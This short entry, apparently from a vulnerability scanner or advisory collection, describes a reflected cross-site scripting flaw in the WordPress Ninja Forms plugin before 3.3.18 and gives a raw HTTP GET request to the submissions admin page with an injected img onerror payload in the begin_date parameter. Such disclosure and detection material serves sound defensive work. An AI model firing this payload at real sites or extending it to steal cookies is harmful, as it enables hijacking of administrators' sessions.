WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1